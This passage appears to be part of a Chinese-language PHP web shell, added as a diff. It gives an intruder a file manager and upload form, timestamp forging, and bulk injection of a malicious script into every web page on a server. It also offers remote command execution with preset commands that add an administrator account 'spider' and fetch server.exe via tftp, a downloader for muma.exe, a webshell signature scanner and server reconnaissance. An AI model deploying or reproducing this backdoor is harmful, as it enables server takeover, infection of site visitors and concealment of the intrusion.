base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '属性修改为'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break; + } + $i++; + } + return '所选文件'.$msg.'完毕'; +} + +function File_Edit($filepath,$filename,$dim = '') +{ + $THIS_DIR = urlencode($filepath); + $THIS_FILE = File_Str($filepath.'/'.$filename); + if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} + else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} +print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                查找内容: +
                +
                +
                +
                +
                文件修改时间
                +
                +
                +
                +END; +} + +function File_Soup($p) +{ + $THIS_DIR = urlencode($p); + $UP_SIZE = get_cfg_var('upload_max_filesize'); + $MSG_BOX = '单个附件允许大小:'.$UP_SIZE.', 改名格式(new.php),如为空,则保持原文件名.'; + if(!empty($_POST['updir'])) + { + if(count($_FILES['soup']) >= 1) + { + $i = 0; + foreach ($_FILES['soup']['error'] as $key => $error) + { + if ($error == UPLOAD_ERR_OK) + { + $souptmp = $_FILES['soup']['tmp_name'][$key]; + if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key]; + $MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'上传成功' : $soupname.'上传失败'; + } + $i++; + } + } + else + { + $MSG_BOX = '请选择文件'; + } + } +print<<{$MSG_BOX}
              • +
                +
                上传到目录:
                +
                附件1 改名 $MSG[0]
                +
                附件2 改名 $MSG[1]
                +
                附件3 改名 $MSG[2]
                +
                附件4 改名 $MSG[3]
                +
                附件5 改名 $MSG[4]
                +
                附件6 改名 $MSG[5]
                +
                附件7 改名 $MSG[6]
                +
                附件8 改名 $MSG[7]
                +
                +
                +END; +} + +function File_a($p) +{ + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $MSG_BOX = '等待消息队列'; + $UP_DIR = urlencode(File_Str($p.'/..')); + $REAL_DIR = File_Str(realpath($p)); + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); + $THIS_DIR = urlencode(File_Str($REAL_DIR)); + $NUM_D = 0; + $NUM_F = 0; + if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' 成功' : '编辑文件 '.$_POST['pfn'].' 失败';@touch($_POST['pfn'],$intime);} + if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? '上传文件 '.$upfilename.' 成功' : '上传文件 '.$upfilename.' 失败';} + if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} + if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = '属性值错误'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? '修改 '.$modfile.' 属性为 '.$_GET['md'].' 成功' : '修改 '.$modfile.' 属性为 '.$_GET['md'].' 失败';} + if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 成功' : '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 失败';} + if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? '创建目录 '.$_GET['dn'].' 成功' : '创建目录 '.$_GET['dn'].' 失败';} + if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除目录 '.$_GET['dd'].' 成功' : '删除目录 '.$_GET['dd'].' 失败';} + if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '下载文件不存在';} + Root_CSS(); +print<< + function Inputok(msg,gourl) + { + smsg = "当前文件:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)) + { + if(gourl == 'b') + { + document.getElementById('actall').value = escape(gourl); + document.getElementById('fileall').submit(); + } + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "当前文件时间:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                {$MSG_BOX}
                +
                +
                + +
                +
                +
                + + + + + + +
                +
                +
                + + + + + + +END; + if(($h_d = @opendir($p)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(is_dir($Filepath)) + { + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filepath = urlencode($Filepath); + echo "\r\n".' '; + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_D++; + } + } + @rewinddir($h_d); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(!is_dir($Filepath)) + { + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filesize = File_Size(@filesize($Filepath)); + if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; + echo "\r\n".' '; + $Filepath = urlencode($Filepath); + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_F++; + } + } + @closedir($h_d); + if(!$Filetime) $Filetime = '2009-01-01 00:00:00'; +print<< +
                + + + + + + + +目录({$NUM_D}) / 文件({$NUM_F})
                + +END; + return true; +} + +//批量挂马 +function Guama_Pass($length) +{ + $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + $str = ""; + while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); + return $str; +} + +function Guama_Make($codea,$codeb,$codec) +{ + return str_replace($codea,Guama_Pass($codeb),$codec); +} + +function Guama_Auto($gp,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb) +{ + if(($h_d = @opendir($gp)) == NULL) return false; + if($gm > 12) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if($gl != ''){if(eregi($gl,$Filename)) continue;} + $Filepath = File_Str($gp.'/'.$Filename); + if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb); + if(eregi($gt,$Filename)) + { + $fc = File_Read($Filepath); + if(($gk != '') && (stristr($fc,chop($gk)))) continue; + if(($gf != '') && ($gm != 0)) $gcm = Guama_Make($gf,$gm,$gc); else $gcm = $gc; + if($gd) $ftime = @filemtime($Filepath); + if($gi == 'a'){if(!stristr($fc,'')) continue; $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fc); $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fcm);} + if($gi == 'b') $fcm = $gcm."\r\n".$fc; + if($gi == 'c') $fcm = $fc."\r\n".$gcm; + echo File_Write($Filepath,$fcm,'wb') ? '成功:'.$Filepath.'
                '."\r\n" : '失败:'.$Filepath.'
                '."\r\n"; + if($gd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Guama_b() +{ + if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) + { + echo '
                '; + $_POST['gt'] = str_replace('.','\\.',$_POST['gt']); + if($_POST['inout'] == 'a') $_POST['gl'] = str_replace('.','\\.',$_POST['gl']); else $_POST['gl'] = ''; + if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')) + { + $temp = explode('[-',$_POST['gc']); + $gk = $temp[0]; + preg_match_all("/\[\-([^~]*?)\-\]/i",$_POST['gc'],$nc); + if(!eregi("^[0-9]{1,2}$",$nc[1][0])){echo '异常终止'; return false;} + $gm = (int)$nc[1][0]; + $gf = $nc[0][0]; + } + else + { + $gk = $_POST['gc']; + $gm = 0; + $gf = ''; + } + if(!isset($_POST['gx'])) $gk = ''; + $gd = isset($_POST['gd']) ? true : false; + $gb = ($_POST['gb'] == 'a') ? true : false; + echo Guama_Auto($_POST['gp'],$_POST['gt'],$_POST['gl'],$_POST['gc'],$gm,$gf,$_POST['gi'],$gk,$gd,$gb) ? '挂马完毕' : '异常终止'; + echo '
                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulll(i) +{ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun() +{ + if(document.getElementById('gp').value == ''){alert('挂马路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('挂马代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                +
                挂马路径 +
                +
                文件类型 +
                +
                过滤对象 +开启 关闭
                +
                挂马代码 +
                挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                挂上示例: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                +
                插入</head>标签之前 +插入文件最顶端 +插入文件最末尾
                +
                智能过滤重复代码 保持文件修改时间不变
                +
                将挂马应用于该文件夹,子文件夹和文件 +
                仅将挂马应用于该文件夹
                +
                + +END; +return true; +} + +//批量清马 + +function Qingma_Auto($qp,$qt,$qc,$qd,$qb) +{ + if(($h_d = @opendir($qp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($qp.'/'.$Filename); + if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); + if(eregi($qt,$Filename)) + { + $ic = File_Read($Filepath); + if(!stristr($ic,$qc)) continue; + $ic = str_replace($qc,'',$ic); + if($qd) $ftime = @filemtime($Filepath); + echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                '."\r\n" : '失败:'.$Filepath.'
                '."\r\n"; + if($qd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Qingma_c() +{ + if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) + { + echo '
                '; + $qt = str_replace('.','\\.',$_POST['qt']); + $qd = isset($_POST['qd']) ? true : false; + $qb = ($_POST['qb'] == 'a') ? true : false; + echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '清马完毕' : '异常终止'; + echo '
                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('清马路径不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('清除代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                +
                清马路径 +
                +
                文件类型 +
                +
                清除代码
                +
                保持文件修改时间不变
                +
                将清马应用于该文件夹,子文件夹和文件 +
                仅将清马应用于该文件夹
                +
                + +END; + return true; +} + +//批量替换 + +function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) +{ + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($tp.'/'.$Filename); + if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); + $doing = false; + if(eregi($tt,$Filename)) + { + $ic = File_Read($Filepath); + if($th) + { + if(!stristr($ic,$tca)) continue; + $ic = str_replace($tca,$tcb,$ic); + $doing = true; + } + else + { + preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc); + for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}} + } + if($td) $ftime = @filemtime($Filepath); + if($doing) echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                '."\r\n" : '失败:'.$Filepath.'
                '."\r\n"; + if($td) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Tihuan_d() +{ + if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) + { + echo '
                '; + $tt = str_replace('.','\\.',$_POST['tt']); + $td = isset($_POST['td']) ? true : false; + $tb = ($_POST['tb'] == 'a') ? true : false; + $th = ($_POST['th'] == 'a') ? true : false; + if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); + echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '替换完毕' : '异常终止'; + echo '
                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '查找内容
                替换成为 '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                下载后缀

                替换成为 '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('替换路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == ''){alert('替换代码不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                +
                替换路径 +
                +
                文件类型 +
                +
                替换文件中的指定内容 替换文件中的下载地址
                +
                查找内容
                替换成为
                +
                保持文件修改时间不变
                +
                将替换应用于该文件夹,子文件夹和文件 +
                仅将替换应用于该文件夹
                +
                + +END; + return true; +} + +//扫描木马 + +function Antivirus_Auto($sp,$features,$st,$sb) +{ + if(($h_d = @opendir($sp)) == NULL) return false; + $ROOT_DIR = File_Mode(); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($sp.'/'.$Filename); + if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st); + if(eregi($st,$Filename)) + { + if($Filepath == File_Str(__FILE__)) continue; + $ic = File_Read($Filepath); + foreach($features as $var => $key) + { + if(stristr($ic,$key)) + { + $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + echo ' '.$Filepath.'
                编辑 删除 】 '; + echo ' 【 '.$Filetime.' 】 '.$var.'

                '."\r\n"; + break; + } + } + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Antivirus_e() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode(); + $features_php = array('php大马特征1'=>'cha88.cn','php大马特征2'=>'->read()','php大马特征3'=>'readdir(','危险MYSQL语句4'=>'returns string soname','php加密大马特征5'=>'eval(gzinflate(','php加密大马特征6'=>'eval(base64_decode(','php一句话特征7'=>'eval($_','php一句话特征8'=>'eval ($_','php上传后门特征9'=>'copy($_FILES','php上传后门特征10'=>'copy ($_FILES','php上传后门特征11'=>'move_uploaded_file($_FILES','php上传后门特征12'=>'move_uploaded_file ($_FILES','php小马特征13'=>'str_replace(\'\\\\\',\'/\','); + $features_asx = array('asp小马特征1'=>'绝对路径','asp小马特征2'=>'输入马的内容','asp小马特征3'=>'fso.createtextfile(path,true)','asp一句话特征4'=>'<%execute(request','asp一句话特征5'=>'<%eval request','asp一句话特征6'=>'execute session(','asp数据库后门特征7'=>'--Created!','asp大马特征8'=>'WScript.Shell','asp大小马特征9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspx大马特征10'=>'www.rootkit.net.cn','aspx大马特征11'=>'Process.GetProcesses','aspx大马特征12'=>'lake2'); +print<< +
                扫描路径
                +
                木马类型 php木马 +asp+aspx木马
                +
                将扫马应用于该文件夹,子文件夹和文件 +
                仅将扫马应用于该文件夹
                +
                + +END; + if(!empty($_POST['sp'])) + { + echo '
                '; + if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';} + if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + $sb = ($_POST['sb'] == 'a') ? true : false; + echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '扫描完毕' : '异常终止'; + echo '
                '; + } + return true; +} + +//搜索文件 + +function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) +{ + //echo $sfp.'
                '.$sfc.'
                '.$sft.'
                '.$sff.'
                '.$sfb; + if(($h_d = @opendir($sfp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if(eregi($sft,$Filename)) continue; + $Filepath = File_Str($sfp.'/'.$Filename); + if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); + if($sff) + { + if(stristr($Filename,$sfc)) + { + echo ' '.$Filepath.'
                '."\r\n"; + ob_flush(); + flush(); + } + } + else + { + $File_code = File_Read($Filepath); + if(stristr($File_code,$sfc)) + { + echo ' '.$Filepath.'
                '."\r\n"; + ob_flush(); + flush(); + } + } + } + @closedir($h_d); + return true; +} + +function Findfile_j() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); + $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; + $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; +print<< +
                扫描路径
                +
                过滤文件
                +
                关键字串 +搜索文件名 +搜索包含文字
                +
                将搜索应用于该文件夹,子文件夹和文件 +
                仅将搜索应用于该文件夹
                +
                + +END; + if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) + { + echo '
                '; + $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); + $sff = ($_POST['sff'] == 'a') ? true : false; + $sfb = ($_POST['sfb'] == 'a') ? true : false; + echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '搜索完毕' : '异常终止'; + echo '
                '; + } + return true; +} + +//系统信息 + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} +function Info_f() +{ + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                ",$dis_func);$dis_func = str_replace(",","
                ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("服务器时间",date("Y年m月d日 h:i:s",time())), + array("服务器域名","".$_SERVER['SERVER_NAME'].""), + array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), + array("服务器操作系统",PHP_OS), + array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), + array("你的IP",getenv('REMOTE_ADDR')), + array("Web服务端口",$_SERVER['SERVER_PORT']), + array("PHP运行方式",strtoupper(php_sapi_name())), + array("PHP版本",PHP_VERSION), + array("运行于安全模式",Info_Cfg("safemode")), + array("服务器管理员",$adminmail), + array("本文件路径",__FILE__), + array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), + array("显示错误信息 display_errors",Info_Cfg("display_errors")), + array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), + array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), + array("允许最大上传文件 upload_max_filesize",$upsize), + array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."秒"), + array("被禁用的函数 disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("图形处理 GD Library",Info_Fun("imageline")), + array("IMAP电子邮件系统",Info_Fun("imap_close")), + array("MySQL数据库",Info_Fun("mysql_close")), + array("SyBase数据库",Info_Fun("sybase_close")), + array("Oracle数据库",Info_Fun("ora_close")), + array("Oracle 8 数据库",Info_Fun("OCILogOff")), + array("PREL相容语法 PCRE",Info_Fun("preg_match")), + array("PDF文档支持",Info_Fun("pdf_close")), + array("Postgre SQL数据库",Info_Fun("pg_close")), + array("SNMP网络管理协议",Info_Fun("snmpget")), + array("压缩文件支持(Zlib)",Info_Fun("gzclose")), + array("XML解析",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBC数据库连接",Info_Fun("odbc_close")), + array("Session支持",Info_Fun("session_start")), + array("Socket支持",Info_Fun("fsockopen")), + ); + echo '
                上级目录 操作 属性 修改时间 大小
                0 '.$Filename.' 删除 '; + echo ' 改名 '.$Fileperm.' '.$Filetime.'
                '.$fname.' 编辑 '; + echo ' 改名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} + echo '
                '.$info[$i][0].''.$info[$i][1].'
                '; + return true; +} + +//执行命令 + +function Exec_Run($cmd) +{ + $res = ''; + if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} + elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} + elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} + return $res; +} + + + +function Exec_g() +{ + $res = '回显窗口'; + $cmd = 'dir'; + if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} +print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "dir"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "netstat -an"; + Str[4] = "ipconfig"; + Str[5] = "copy c:\\1.php d:\\2.php"; + Str[6] = "tftp -i 219.134.46.245 get server.exe c:\\server.exe"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                +命令参数 + +
                +
                +
                +END; + return true; +} + +//组件接口 + +function Com_h() +{ + $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; +print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +[Downloader]
                +
                +END; +if($object == 'downloader') +{ + $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe'; + $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__).'/muma.exe'); +print<<超连接
                +
                下载到
                +
                +END; + if((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) + { + echo '
                '; + $contents = @file_get_contents($_POST['durl']); + if(!$contents) echo '无法读取要下载的数据'; + else echo File_Write($_POST['dpath'],$contents,'wb') ? '下载文件成功' : '下载文件失败'; + echo '
                '; + } +} +elseif($object == 'wscript') +{ + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; +print<<执行CMD命令 +
                +END; + if(!empty($_POST['cmd'])) + { + echo '
                '; + $shell = new COM('wscript'); + $exe = @$shell->exec("cmd.exe /c ".$cmd); + $out = $exe->StdOut(); + $output = $out->ReadAll(); + echo '
                '.$output.'
                '; + @$shell->Release(); + $shell = NULL; + echo '
                '; + } +} +elseif($object == 'application') +{ + $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; +print<<程序路径 +
                命令参数
                +
                +END; + if(!empty($_POST['run'])) + { + echo '
                '; + $shell = new COM('application'); + echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '执行成功' : '执行失败'; + @$shell->Release(); + $shell = NULL; + echo '
                '; + } +} +elseif($object == 'adodb') +{ + $string = isset($_POST['string']) ? $_POST['string'] : ''; + $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; +print<< +function hFull(i){ + if(i==0 || i==5) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb"; + Str[2] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=****"; + Str[3] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=****"; + Str[4] = "Provider=MSDAORA.1;Password=密码;User ID=帐号;Data Source=服务名;Persist Security Info=True;"; + Str[6] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[7] = "INSERT INTO [TableName](USER,PASS) VALUES('spider','mypass')"; + Str[8] = "DELETE FROM [TableName] WHERE ID=100"; + Str[9] = "UPDATE [TableName] SET USER='spider' WHERE ID=100"; + Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[11] = "DROP TABLE [TableName]"; + Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[13] = "ALTER TABLE [TableName] DROP 